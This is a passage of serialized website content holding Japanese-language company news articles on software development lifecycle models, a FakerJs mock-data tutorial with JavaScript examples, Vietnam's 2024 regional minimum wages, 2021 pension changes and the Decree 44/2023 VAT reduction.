添付できる」「一度に多数の人にメールを送れる」といった具体的な特性を指します。開発するシステム全体を、いくつかのフィーチャーのグループに分け、それらを開発対象として要件の定義からテストまでを進めます。",[1750,15304,15306],{"id":15305},"イテレーティブ開発モデル",[20,15307,15305],{},[11,15309,15310],{},"「イテレーティブ」とは「反復的な」という意味です。シーケンシャル開発モデルが要件定義からテストまでを一度で行うのに対し、イテレーティブ開発モデルは仕様化、設計、構築、テストを繰り返します。このプロセスを「イテレーション」と呼び、各イテレーションごとに動作するソフトウェアが生成されます。これらの開発モデルはしばしば併用されます。",[11,15312,15313],{},"主なイテレーティブ開発モデルには以下の4つがあります。",[31,15315,15316,15331,15337,15343],{},[34,15317,15318,602,15321,15330],{},[20,15319,15320],{},"ラショナル統一プロセス",[20,15322,15323,15324,15329],{},"（",[20,15325,15326],{},[20,15327,15328],{},"RUP","）","：IBMが提唱する手法で、アプリケーション開発の全ライフサイクルをカバー。イテレーションは２〜３か月。",[34,15332,15333,15336],{},[20,15334,15335],{},"スクラム","：アジャイル開発手法の一つで、チームが一体となって目的に向かう。イテレーションは数日から数週間で、スプリントと呼ばれる。",[34,15338,15339,15342],{},[20,15340,15341],{},"カンバン","：トヨタの生産方式を基にした手法で、タスクを可視化して効率的に進める。イテレーションは必須ではない。",[34,15344,15345,15348],{},[20,15346,15347],{},"スパイラル（プロトタイピング）","：初期段階でプロトタイプを作成し、フィードバックをもとに仕様を確定する。フィーチャーを徐々に追加することが特徴。 ",[1750,15350,15352],{"id":15351},"イテレーティブインクリメンタル開発モデルとシフトレフト",[20,15353,15354],{},"イテレーティブ\u002Fインクリメンタル開発モデルとシフトレフト",[11,15356,15357],{},"これらの開発モデルを使用すると、ソフトウェアを小さな単位に分割し、各単位の開発を繰り返します。各イテレーションではテストが実施されるため、テストの時期が前倒しされ、シフトレフトが実現されます。図2.4には、V字モデルによる開発が示されていますが、実際には以下のようなケースもあります。",[31,15359,15360,15363,15366],{},[34,15361,15362],{},"要件定義、設計、コーディング、テストが同時に行われる。",[34,15364,15365],{},"ユニットテストと統合テストが並行または反復して実施される。",[34,15367,15368],{},"システムテストや受け入れテストが独立したイテレーションとして実施される。",[11,15370,15371],{},"短期間のイテレーションでテストを繰り返すため、テストの自動化が望ましく、継続的インテグレーションや継続的デリバリーの環境を整えることが重要です。各イテレーション終了時にはいくつかのフィーチャーが作成されますが、リリースのタイミングは特に決まっていません。最低限のフィーチャーが揃った段階でリリースすることもあれば、すべてのフィーチャーが完成するまで待つこともあります。ただし、早期リリースを行い、顧客からのフィードバックを得ることが推奨されます。",[495,15373,15375],{"id":15374},"状況に応じたソフトウェア開発ライフサイクルモデル",[20,15376,15374],{},[11,15378,15379],{},"前項では、シーケンシャル、イテレーティブ、インクリメンタルの各開発モデルについて説明しました。では、どのモデルを選ぶべきかを決める際には、次の点を考慮する必要があります。",[31,15381,15382,15385,15388,15391,15394],{},[34,15383,15384],{},"プロジェクトのゴール",[34,15386,15387],{},"開発するプロダクトの種類",[34,15389,15390],{},"ビジネス上の優先度（市場投入までの時間）",[34,15392,15393],{},"識別したプロダクトリスク",[34,15395,15396],{},"識別したプロジェクトリスク",[11,15398,15399],{},"リスクの低いシステム（例：企業内管理システム）と高いシステム（例：自動車のブレーキ制御システム）では、テストアプローチが異なります。イテレーティブ開発モデルを採用する際は、チームメンバー間の円滑なコミュニケーションが重要ですが、会社の文化や契約形態がそれを妨げる場合があります。",[495,15401,15403],{"id":15402},"ソフトウェア開発ライフサイクルモデルの組み合わせ",[20,15404,15402],{},[11,15406,15407],{},"前項で説明したインクリメンタル開発モデルでは、プロジェクト内で両方のモデルを使うこともあります。例えば、スマートフォンアプリの開発では、フロントエンドのユーザーインターフェース（UI）にイテレーティブとインクリメンタルモデルを使用し、迅速にリリースしますが、バックエンドの大規模システムにはシーケンシャルモデルを用います。",[11,15409,15410],{},"また、IoT（モノのインターネット）システムでは、さまざまなデバイスやサービスが個別に開発され、開発対象に応じたモデルが選ばれます。そのため、一部のデバイスが頻繁にバージョンアップする一方で、他のプロダクトは長期間変更されないことがあります。これにより、異なるバージョン間でシステムの連携に問題が生じる可能性があり、運用や更新、廃止フェーズでも相互運用性に注意が必要です。　   ",[11,15412,15413],{},[20,15414,3767],{},[11,15416,15417],{},[57,15418,15419],{"href":15419,"rel":15420},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-4-jp",[61],{"title":64,"searchDepth":65,"depth":65,"links":15422},[15423,15424,15425,15426],{"id":15223,"depth":65,"text":15223},{"id":15289,"depth":65,"text":15289},{"id":15374,"depth":65,"text":15374},{"id":15402,"depth":65,"text":15402},"2024-12-04",{},"\u002Fja\u002Fnews\u002Fmo-hinh-vong-doi-phat-trien-phan-mem",{"title":15215,"description":15220},"ja\u002Fnews\u002Fmo-hinh-vong-doi-phat-trien-phan-mem","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F12\u002F02171801\u002FScreenshot-2024-12-02-171532.png","ss_bCnTm0IOyJ1v7gKo33TGJmAN5oN1wMRmGNnlqh_U",{"id":15435,"title":15436,"body":15437,"category":1388,"created by":5715,"date":15632,"description":15633,"extension":71,"meta":15634,"navigation":73,"path":15635,"sections":75,"seo":15636,"stem":15637,"thumbnail":15638,"__hash__":15639},"content_ja\u002Fja\u002Fnews\u002Fmockdata-fakerjs.md","FakerJsを使ったモックデータ生成",{"type":8,"value":15438,"toc":15628},[15439,15445,15448,15455,15460,15471,15477,15480,15486,15489,15492,15498,15501,15507,15510,15516,15519,15525,15528,15531,15537,15539,15545,15552,15559,15562,15568,15574,15578,15581,15587,15589,15595,15599,15602,15608,15612,15615,15617,15622],[487,15440,15442],{"id":15441},"fakerjsとは",[20,15443,15444],{},"FakerJsとは？",[11,15446,15447],{},"FakerJsはEメールアドレス、電話番号、住所、パスワード、画像といった、多種多様なランダムデータを生成するJavaScriptライブラリーです。",[11,15449,15450,15451],{},"デモ： ",[57,15452,15453],{"href":15453,"rel":15454},"https:\u002F\u002Frawgit.com\u002FMarak\u002Ffaker.js\u002Fmaster\u002Fexamples\u002Fbrowser\u002Findex.html",[61],[487,15456,15458],{"id":15457},"何時に使われるか",[20,15459,15457],{},[31,15461,15462,15465,15468],{},[34,15463,15464],{},"APIからのデータの返却が未実装の場合にフロントエンド側でデータ処理を実装する必要がある時",[34,15466,15467],{},"データベース、サービス、ホスト等の接続先に問題があった場合に、APIから返却されるダミーデータを生成する時",[34,15469,15470],{},"APIの検証のためjson形式のサンプルデータを生成する時",[487,15472,15474],{"id":15473},"nodejsでのfakerjs使い方",[20,15475,15476],{},"NodeJsでのFakerJs使い方",[11,15478,15479],{},"まずnpmで以下のコマンドでインストールします。",[696,15481,15484],{"className":15482,"code":15483,"language":701},[699],"npm i faker\n",[703,15485,15483],{"__ignoreMap":64},[11,15487,15488],{},"つぎ、以下のようにインポートします。",[11,15490,15491],{},"TypeScriptプロジェクトの場合：",[696,15493,15496],{"className":15494,"code":15495,"language":701},[699]," import faker = require(\"faker\")\n",[703,15497,15495],{"__ignoreMap":64},[11,15499,15500],{},"JavaScriptプロジェクトの場合：",[696,15502,15505],{"className":15503,"code":15504,"language":701},[699],"var faker = require(\"faker\");\n",[703,15506,15504],{"__ignoreMap":64},[11,15508,15509],{},"例えば、FakerJsを使って3オブジェクトのEmployeeを作成します。",[696,15511,15514],{"className":15512,"code":15513,"language":701},[699],"const generateEmployee = () => {\n\n  return {\n\n    id: faker.random.uuid(),\n\n    first_name: faker.name.firstName(),\n\n    last_name: faker.name.lastName(),\n\n    email: faker.internet.email(),\n\n  };\n\n};\n\n\u002F\u002FReturn 3 object users\n\n=>> Array.from({ length: 3 }, generateEmployee)\n",[703,15515,15513],{"__ignoreMap":64},[11,15517,15518],{},"結果：",[696,15520,15523],{"className":15521,"code":15522,"language":701},[699],"[\n  {\n    \"id\": \"653551ca-29dc-458d-90dd-1c7a04004350\",\n    \"first_name\": \"Yadira\",\n    \"last_name\": \"Zieme\",\n    \"email\": \"Russel_Will88@yahoo.com\"\n  },\n  {\n    \"id\": \"14243402-a6f9-4005-bc61-bb1d25f23183\",\n    \"first_name\": \"Nyah\",\n    \"last_name\": \"Hermiston\",\n    \"email\": \"Sigrid77@gmail.com\"\n  },\n  {\n    \"id\": \"60dbec10-2898-4571-8187-31072f849ed9\",\n    \"first_name\": \"Reed\",\n    \"last_name\": \"Towne\",\n    \"email\": \"Alejandrin.Simonis@hotmail.com\"\n  }\n]\n",[703,15524,15522],{"__ignoreMap":64},[11,15526,15527],{},"現在FakerJsは多言語をサポートしてくれます。",[11,15529,15530],{},"例えば、employeeオブジェクトを作成する前にロケールを予め指定しておきます。",[696,15532,15535],{"className":15533,"code":15534,"language":701},[699],"faker.locale = 'ja';\n",[703,15536,15534],{"__ignoreMap":64},[11,15538,15518],{},[696,15540,15543],{"className":15541,"code":15542,"language":701},[699],"[ \n  { \n    \"id\": \"c0a9b596-ade2-4d9e-bddc-3a6e6ed43fcb\", \n    \"first_name\": \"結菜\", \n    \"last_name\": \"加藤\", \n    \"email\": \"海翔_井上@gmail.com\" \n  }, \n  { \n    \"id\": \"12381746-bb9e-479c-adf0-ba7887392a06\", \n    \"first_name\": \"杏\", \n    \"last_name\": \"渡辺\", \n    \"email\": \"結菜_清水11@gmail.com\" \n  }, \n  { \n    \"id\": \"264a8702-3318-43d1-9518-748046ff6ac5\", \n    \"first_name\": \"心愛\", \n    \"last_name\": \"清水\", \n    \"email\": \"結衣_山田57@gmail.com\" \n  } \n]\n",[703,15544,15542],{"__ignoreMap":64},[11,15546,15547,15548,996],{},"FakerJsのサポートしてくれるデータ種類と言語について",[57,15549,15550],{"href":15550,"rel":15551},"http:\u002F\u002Fmarak.github.io\u002Ffaker.js\u002F",[61],[487,15553,15555,15556],{"id":15554},"fakerjsにおけるseed","FakerJsにおける",[20,15557,15558],{},"Seed",[11,15560,15561],{},"FakerJsではランダムデータを生成できますが、異なる処理にて同じデータを生成する必要がある場合があります。その対応策としては、以下のようなSeedを利用できます。",[696,15563,15566],{"className":15564,"code":15565,"language":701},[699],"    faker.seed(1);\n\n    var number1st = faker.random.number(); \u002F\u002F name1st = 123\n\n    \u002F\u002F Setting the seed again resets the sequence.\n\n    faker.seed(1);\n\n    var number2nd = faker.random.number(); \u002F\u002F number2nd = 123\n\n    \u002F\u002F => number1st === number2nd\n",[703,15567,15565],{"__ignoreMap":64},[487,15569,15571],{"id":15570},"fakerjsの他のサービス",[20,15572,15573],{},"FakerJsの他のサービス",[495,15575,15577],{"id":15576},"fakerjs-api","FakerJs API",[11,15579,15580],{},"APIからはリクエストパラメーターにより、単一のデータ項目を返却します。",[696,15582,15585],{"className":15583,"code":15584,"language":701},[699],"http:\u002F\u002Ffaker.hook.io\u002F?property=internet.email&locale=en\n",[703,15586,15584],{"__ignoreMap":64},[11,15588,15518],{},[696,15590,15593],{"className":15591,"code":15592,"language":701},[699]," \"Ted37@hotmail.com\"\n",[703,15594,15592],{"__ignoreMap":64},[495,15596,15598],{"id":15597},"faker-cloud","Faker Cloud",[11,15600,15601],{},"単一または複数のダミーデータを素早く作成でるので、API検証のため大量データ生成に役立ちます。データのDBへの一括登録コマンドの他に、CSV形式やJson形式、MySQLやMSSQLをもサポートしてくれます。",[11,15603,15604],{},[57,15605,15606],{"href":15606,"rel":15607},"https:\u002F\u002Ffakercloud.com\u002F",[61],[487,15609,15610],{"id":4767},[20,15611,4767],{},[11,15613,15614],{},"Faker Jsはバックエンド・フロントエンド両方に適用できる、便利かつ簡潔なライブラリーです。特にFakerCloudはテスターにふさわしいです。Faker Jsでは時間にかなりかかりそうなDBへのデータ一括登録やAPIへ送信するJsonリスト作成を簡単化することができ、多言語等をもサポートしてくれます。",[11,15616,55],{},[11,15618,8296,15619],{},[57,15620,15550],{"href":15550,"rel":15621,"title":15550},[61],[11,15623,8307,15624],{},[57,15625,15626],{"href":15626,"rel":15627,"title":15626},"https:\u002F\u002Fzetcode.com\u002Fjavascript\u002Ffakerjs\u002F",[61],{"title":64,"searchDepth":65,"depth":65,"links":15629},[15630,15631],{"id":15576,"depth":65,"text":15577},{"id":15597,"depth":65,"text":15598},"2021-05-05","FakerJsとは？FakerJsはEメールアドレス、電話番号、住所、パスワード、画像といった、多種多様なランダムデータを生成するJavaScriptライブラリーです。",{},"\u002Fja\u002Fnews\u002Fmockdata-fakerjs",{"title":15436,"description":15633},"ja\u002Fnews\u002Fmockdata-fakerjs","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05103100\u002FFaker.png","QieLM6zI8pujLsDkRu9--GGo4-02XbKFENhB2LF1hYU",{"id":15641,"title":15642,"body":15643,"category":67,"created by":9110,"date":15856,"description":15857,"extension":71,"meta":15858,"navigation":73,"path":15859,"sections":75,"seo":15860,"stem":15861,"thumbnail":15862,"__hash__":15863},"content_ja\u002Fja\u002Fnews\u002Fmuc-luong-toi-thieu-vung-ap-dung-tu-01-07-2024.md","2024年7月1日から適用される地域別最低賃金",{"type":8,"value":15644,"toc":15854},[15645,15650,15658,15663,15680,15683,15686,15700,15705,15712,15779,15784,15792,15797,15827,15831],[11,15646,15647,804],{},[20,15648,15649],{},"I. 2024年の地域別最低賃金引き上げ時期",[11,15651,15652,15657],{},[57,15653,15656],{"href":15654,"rel":15655},"https:\u002F\u002Fxaydungchinhsach.chinhphu.vn\u002Ftoan-van-du-thao-nghi-dinh-quy-dinh-muc-luong-toi-vung-119240322185014301.htm",[61],"草案の地域別最低賃金規定","によると、新しい地域別最低賃金の適用開始日は2024年7月1日からとなります。",[11,15659,15660],{},[20,15661,15662],{},"II. 地域別最低賃金はどのように変更されますか？",[31,15664,15665,15668,15671],{},[34,15666,15667],{},"労働傷病兵社会省は、労働契約に基づいて働く労働者に対する最低賃金を規定する政令案を作成しています。同省は、現行水準と比較して最低賃金を6％引き上げることを提案しています。",[34,15669,15670],{},"2024年1月12日、国家賃金評議会は報告書番号02\u002FBC-HĐTLQGを政府に提出し、2024年7月1日から平均6％の最低賃金引き上げを推奨しました。",[34,15672,15673,15674,15679],{},"2024年7月1日から、2018年の第12期中央執行委員会第7回会議で採択された",[57,15675,15678],{"href":15676,"rel":15677},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FNghi-quyet-27-NQ-TW-2018-cai-cach-chinh-sach-tien-luong-doi-voi-can-bo-cong-chuc-vien-chuc-382336.aspx",[61],"決議27-NQ\u002FTW","に基づき、公的部門の賃金引き上げを含む包括的な賃金政策改革が実施されます。それに伴い、全体的なバランスを確保するために、企業部門の最低賃金も調整する必要があります。",[11,15681,15682],{},"地域別最低賃金の変更は、現在の経済状況や生活水準を反映し、労働者が生活費に見合った基本的な収入を得られるようにすることを目的としています。",[11,15684,15685],{},"これにより、2024年に適用される地域別最低賃金は以下の2段階に分かれます。",[199,15687,15688,15697],{},[34,15689,15690,15691,15696],{},"2024年1月1日から6月30日まで：最低賃金は",[57,15692,15695],{"href":15693,"rel":15694},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FNghi-dinh-38-2022-ND-CP-muc-luong-toi-thieu-nguoi-lao-dong-lam-viec-theo-hop-dong-515984.aspx",[61],"政令38\u002F2022\u002FNĐ-CP","に基づいて適用されます。",[34,15698,15699],{},"2024年7月1日から12月31日まで：新しい地域別最低賃金が適用され、2024年前半と比較して6％引き上げられます。",[11,15701,15702],{},[20,15703,15704],{},"III. 2024年7月1日からの地域別最低賃金",[11,15706,15707,15711],{},[57,15708,15710],{"href":15654,"rel":15709},[61],"労働契約に基づいて働く労働者に対する地域別最低賃金を規定する政令案","によると、2024年7月1日からの地域別最低賃金の具体的な引き上げは以下の通りです：",[368,15713,15714,15733],{},[371,15715,15716],{},[374,15717,15718,15721,15727],{},[377,15719,15720],{"align":12030},"地域",[377,15722,15723,15724,15726],{"align":12030},"月額地域別最低賃金",[568,15725],{},"単位：（ドン\u002F月）",[377,15728,15729,15730,15732],{"align":12030},"時額地域別最低賃金",[568,15731],{},"単位：（ドン\u002F時）",[393,15734,15735,15746,15757,15768],{},[374,15736,15737,15740,15743],{},[398,15738,15739],{"align":12030},"地域 I",[398,15741,15742],{"align":12030},"4.960.000",[398,15744,15745],{"align":12030},"23.800",[374,15747,15748,15751,15754],{},[398,15749,15750],{"align":12030},"地域 II",[398,15752,15753],{"align":12030},"4.410.000",[398,15755,15756],{"align":12030},"21.200",[374,15758,15759,15762,15765],{},[398,15760,15761],{"align":12030},"地域 III",[398,15763,15764],{"align":12030},"3.860.000",[398,15766,15767],{"align":12030},"18.600",[374,15769,15770,15773,15776],{},[398,15771,15772],{"align":12030},"地域 IV",[398,15774,15775],{"align":12030},"3.450.000",[398,15777,15778],{"align":12030},"16.600",[11,15780,15781],{},[20,15782,15783],{},"1. 2024年の新しい地域別最低賃金を適用する際の社会保険料納付額の変更点",[31,15785,15786,15789],{},[34,15787,15788],{},"2024年7月1日以降、地域Iに属する労働者の場合、社会保険料の算定基礎となる月額給与は4,960,000ドン以上でなければなりません。",[34,15790,15791],{},"地域Iに属する労働者（地域別最低賃金が月額4,960,000ドンと想定される場合）について、失業保険料の算定基礎となる月額給与の上限は99.2百万ドンとなる可能性があります。",[11,15793,15794],{},[20,15795,15796],{},"2. 2024年の地域別最低賃金を適用する際の注意点",[31,15798,15799,15810],{},[34,15800,15801,15802],{},"地域別最低賃金を実施する際、企業は以下を行ってはなりません。",[31,15803,15804,15807],{},[34,15805,15806],{},"労働者が時間外労働、夜勤、または過酷で有害な労働条件で働く場合の賃金制度を廃止または削減すること",[34,15808,15809],{},"また、企業は過酷で有害な職務に従事する労働者への物的支給制度や、労働法で規定されるその他の制度を廃止することも禁じられています。",[34,15811,15812,15813],{},"地域別最低賃金の変更による影響を受ける対象（2024年）",[31,15814,15815,15818,15821,15824],{},[34,15816,15817],{},"労働法の規定に基づき、労働契約の制度で働く労働者",[34,15819,15820],{},"企業法に基づいて設立され、管理および運営される企業",[34,15822,15823],{},"協同組合、協同連合、協業組織、農場、世帯、個人、その他の労働契約に基づいて労働者を雇用するベトナム国内の組織",[34,15825,15826],{},"ベトナム国内で労働契約に基づいて労働者を雇用する外国の機関、国際組織、および外国人個人（ただし、ベトナム社会主義共和国が締結した国際条約でこの政令と異なる規定がある場合を除く）",[11,15828,15829],{},[20,15830,5084],{},[31,15832,15833,15840,15847],{},[34,15834,15835,15836],{},"草案：",[57,15837,15839],{"href":15654,"rel":15838},[61],"https:\u002F\u002Fxaydungchinhsach.chinhphu.vn\u002Ftoan-van-du-thao-nghi-dinh-quy-dinh-muc-luong-toi-vung",[34,15841,15842,15843],{},"政令38\u002F2022\u002FNĐ-CP：",[57,15844,15846],{"href":15693,"rel":15845},[61],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FNghi-dinh-38-2022-ND-CP",[34,15848,15849,15850],{},"決議27-NQ\u002FTW：",[57,15851,15853],{"href":15676,"rel":15852},[61],"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FLao-dong-Tien-luong\u002FNghi-quyet-27-NQ-TW-2018",{"title":64,"searchDepth":65,"depth":65,"links":15855},[],"2025-03-17","I. 2024年の地域別最低賃金引き上げ時期 草案の地域別最低賃金規定によると、新しい地域別最低賃金の適用開始日は2024年7月1日からとなります。",{},"\u002Fja\u002Fnews\u002Fmuc-luong-toi-thieu-vung-ap-dung-tu-01-07-2024",{"title":15642,"description":15857},"ja\u002Fnews\u002Fmuc-luong-toi-thieu-vung-ap-dung-tu-01-07-2024","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F06\u002F05133908\u002F202405-768x576.png","rCecVuSia3rhBuZBR2lzFIcKZ6T0eIlIREZmK4jmExA",{"id":15865,"title":15866,"body":15867,"category":67,"created by":68,"date":15932,"description":15933,"extension":71,"meta":15934,"navigation":73,"path":15935,"sections":75,"seo":15936,"stem":15937,"thumbnail":15938,"__hash__":15939},"content_ja\u002Fja\u002Fnews\u002Fnew-information-directly-affecting-the-pension-benefits.md","年金受給者に係わる4つの新情報",{"type":8,"value":15868,"toc":15930},[15869,15874,15877,15880,15883,15888,15891,15894,15897,15902,15905,15908,15916,15919,15924,15927],[11,15870,15871],{},[20,15872,15873],{},"1. 2021年の年金引き上げの見送り",[11,15875,15876],{},"毎年7月1日に行っている基礎給の引き上げに伴って年金もこの時点で引き上げます。",[11,15878,15879],{},"しかし、新型コロナウイルスの影響で、2021年の基礎給は引き上げずに149万VND／月のままにしました。具体的にいうと、議決第128\u002F2020\u002FQH14号にのっとり、国会は、2021年において基礎給や貧困基準を調整しないことを可決しました。",[11,15881,15882],{},"それで、2021年の年金を引き上げないということです。",[11,15884,15885],{},[20,15886,15887],{},"2. 2021年1月・2月分の年金の一括支払",[11,15889,15890],{},"普通は旧正月に因んで年金受給者は2ヶ月分の年金を一括支払われます。今年も例外ではありません。",[11,15892,15893],{},"ベトナム社会保険からも、中央直轄市、各省の社会保険局へ2ヶ月分（2021年1月・2月）の年金の一括支払に関する公告を送達しました。",[11,15895,15896],{},"2ヶ月分の年金の一括支払では、楽しく充実した旧正月を年金受給者が過ごすことができます。",[11,15898,15899],{},[20,15900,15901],{},"3. 男性60歳、女性55歳でも年金の受給不可",[11,15903,15904],{},"2014年社会保険法第54条第1項第a号に定めた規定どおりに、60 歳以上の男性または 55 歳以上の女性労働者は20 年以上社会保険料を納付する場合において年金を受給することができます。",[11,15906,15907],{},"しかし、上記の規定は2021年1月1日から2019年労働法によって改訂されます。それに沿って年金受給の可能な年齢は以下の通りとなります。",[31,15909,15910,15913],{},[34,15911,15912],{},"男性労働者の場合、60歳3ヶ月とします。",[34,15914,15915],{},"女性労働者の場合、55歳4ヶ月とします。",[11,15917,15918],{},"それで、2021年においては、男性労働者が60歳、女性労働者が55歳になっても、年金を受給できなくなります。60歳の男性労働者がさらに3ヶ月後、55歳の女性労働者がさらに4ヶ月後に年金を受給できます。",[11,15920,15921],{},[20,15922,15923],{},"4. 年金計算に使われる男性労働者の社会保険料納付年数の変更",[11,15925,15926],{},"2014年社会保険法第56条第2項第a号ならびに同法第74条第2項第a号に定めた規定どおりに、毎月の年金は社会保険料納付年数により社会保険の基礎となる給与平均の45％とします。",[11,15928,15929],{},"また、男性労働者に対し、2021年に定年退職する場合、社会保険料納付年数を19年間とします。なお、2020 年に定年退職する場合、18 年間とします。\\",{"title":64,"searchDepth":65,"depth":65,"links":15931},[],"2021-04-15","1. 2021年の年金引き上げの見送り 毎年7月1日に行っている基礎給の引き上げに伴って年金もこの時点で引き上げます。しかし、新型コロナウイルスの影響で、2021年の基礎給は引き上げずに149万VND／月のままにしました。具体的にいうと、議決第128\u002F2020\u002FQH14号にのっとり、国会は、2021年において基礎給や貧困基準を調整しないことを可決しました。",{},"\u002Fja\u002Fnews\u002Fnew-information-directly-affecting-the-pension-benefits",{"title":15866,"description":15933},"ja\u002Fnews\u002Fnew-information-directly-affecting-the-pension-benefits","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F04\u002F07093223\u002F04ThongTinAnhHuongNguoiCoLuongHuu-1.png","HBpXNf1V8hetDnvA6X9EIiSj6Y5aS05BV6_XN3jSjV8",{"id":15941,"title":15942,"body":15943,"category":67,"created by":5928,"date":16253,"description":16254,"extension":71,"meta":16255,"navigation":73,"path":16256,"sections":75,"seo":16257,"stem":16258,"thumbnail":16259,"__hash__":16260},"content_ja\u002Fja\u002Fnews\u002Fnghi-dinh-44-2023-nd-cp-ve-giam-thue-gtgt-va-nhung-dieu-can-biet.md","政令44\u002F2023\u002FNĐ-CPの付加価値税減税について知っておきたいこと",{"type":8,"value":15944,"toc":16251},[15945,15960,15966,15969,15975,15978,16084,16090,16096,16141,16147,16153,16156,16159,16167,16174,16177,16179,16187,16204,16207],[11,15946,15947,15948,15953,15954,15959],{},"\\2023年6月30日にて、ベトナム国税庁が国会常務委員会の議決第",[57,15949,15952],{"href":15950,"rel":15951},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FBo-may-hanh-chinh\u002FNghi-quyet-101-2023-QH15-ky-hop-thu-5-Quoc-hoi-khoa-XV-571915.aspx",[61],"101\u002F2023\u002FQH15","号に従い、付加価値税減税政策を規則する政令44\u002F2023\u002FNĐ-CPを実施するため、公電第",[57,15955,15958],{"href":15956,"rel":15957},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FCong-dien-05-CD-TCT-2023-trien-khai-Nghi-dinh-44-2023-ND-CP-giam-thue-gia-tri-gia-tang-571347.aspx",[61],"05\u002FCĐ-TCT","号を発行しました。",[487,15961,15963],{"id":15962},"政令442023nđ-cpの付加価値税減税政策の適用期間",[20,15964,15965],{},"政令44\u002F2023\u002FNĐ-CPの付加価値税減税政策の適用期間",[11,15967,15968],{},"政令44\u002F2023\u002FNĐ-CPによる、付加価値税減税政策は2023年07月01日から2023年12月31日まで有効です。",[487,15970,15972],{"id":15971},"政令442023nđ-cpの付加価値税減税政策の内容",[20,15973,15974],{},"政令44\u002F2023\u002FNĐ-CPの付加価値税減税政策の内容",[11,15976,15977],{},"政令44\u002F2023\u002FNĐ-CPの第一項により、付加価値税10％の税率を適用している品物およびサービスは8％に引き下げられます。しかし、以下の商品およびサービスは適用対象外です。",[368,15979,15980,15996],{},[371,15981,15982],{},[374,15983,15984,15989,15994],{},[377,15985,15986],{},[20,15987,15988],{},"商品およびサービス",[377,15990,15991],{},[20,15992,15993],{},"付加価値税減税政策適用可否",[377,15995,5084],{},[393,15997,15998,16017,16031,16044,16057],{},[374,15999,16000,16006,16009],{},[398,16001,16002,16003,16005],{},"- 電気通信、金融業、銀行業、証券業、保険業、不動産業、金属及び金属加工品、鉱業製品（石炭鉱業を除く）、コークス、石油精製鉱山、化学製品。",[568,16004],{},"- 販売段階以外の各段階の石炭製品。",[398,16007,16008],{},"不可",[398,16010,16011,16012],{},"政令44\u002F2023\u002FNĐ-CPの第一",[57,16013,16016],{"href":16014,"rel":16015},"https:\u002F\u002Fxaydungchinhsach.chinhphu.vn\u002Ftoan-van-nghi-dinh-44-2023-nd-cp-ve-giam-thue-gia-tri-gia-tang-119230630185610998.htm",[61],"付録",[374,16018,16019,16022,16025],{},[398,16020,16021],{},"- 販売石炭製品（クローズドプロセスに従って選別および分類されてから、販売される石炭を含む）",[398,16023,16024],{},"可",[398,16026,16027],{},[57,16028,16030],{"href":16014,"rel":16029},[61],"政令44\u002F2023\u002FNĐ-CP",[374,16032,16033,16036,16038],{},[398,16034,16035],{},"‐ 特別付加価値税率適用の商品およびサービス",[398,16037,16008],{},[398,16039,16040,16043],{},[57,16041,16030],{"href":16014,"rel":16042},[61],"の第二付録",[374,16045,16046,16049,16051],{},[398,16047,16048],{},"- 情報化法に基づく情報化",[398,16050,16008],{},[398,16052,16053,16056],{},[57,16054,16030],{"href":16014,"rel":16055},[61],"の第三付録",[374,16058,16059,16062,16065],{},[398,16060,16061],{},"- 付加価値税法による非課税および5％税率適用の商品やサービス",[398,16063,16064],{},"不可  *今までの付加価値税政策適用",[398,16066,16067,16072,16073,16072,16078,16083],{},[57,16068,16071],{"href":16069,"rel":16070},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-219-2013-TT-BTC-huong-dan-Luat-thue-gia-tri-gia-tang-va-Nghi-dinh-209-2013-ND-CP-220761.aspx",[61],"219\u002F2013\u002FTT-BTC","回章  ",[57,16074,16077],{"href":16075,"rel":16076},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-26-2015-TT-BTC-huong-dan-12-2015-ND-CP-thue-gia-tri-gia-tang-sua-doi-39-2014-TT-BTC-267174.aspx",[61],"26\u002F2015\u002FTT-BTC",[57,16079,16082],{"href":16080,"rel":16081},"https:\u002F\u002Fthuvienphapluat.vn\u002Fvan-ban\u002FThue-Phi-Le-Phi\u002FThong-tu-43-2021-TT-BTC-sua-doi-Khoan-11-Dieu-10-Thong-tu-219-2013-TT-BTC-477641.aspx",[61],"43\u002F2021\u002FTT-BTC","回章",[487,16085,16087],{"id":16086},"政令442023nđ-cpによる付加価値税軽減率",[20,16088,16089],{},"政令44\u002F2023\u002FNĐ-CPによる付加価値税軽減率",[11,16091,16092,16095],{},[57,16093,16030],{"href":16014,"rel":16094},[61],"の第1条第2項に基づき、付加価値税の軽減率は以下のように規制されます：",[368,16097,16098,16117],{},[371,16099,16100],{},[374,16101,16102,16107,16112],{},[377,16103,16104],{},[20,16105,16106],{},"付加価値税の計算方法",[377,16108,16109],{},[20,16110,16111],{},"元付加価値税率",[377,16113,16114],{},[20,16115,16116],{},"政令44\u002F2023\u002FNĐ-CP適用の付加価値税率",[393,16118,16119,16130],{},[374,16120,16121,16124,16127],{},[398,16122,16123],{},"控除方法",[398,16125,16126],{},"10%",[398,16128,16129],{},"8% - 減税対象の商品およびサービス ",[374,16131,16132,16135,16138],{},[398,16133,16134],{},"収入に基づく計算方法　（事業者世帯、個人事業主を含む）",[398,16136,16137],{},"各商品およびサービスによる付加価値税率",[398,16139,16140],{},"収入に基づいて適用している付加価値税計算用の税率を20% 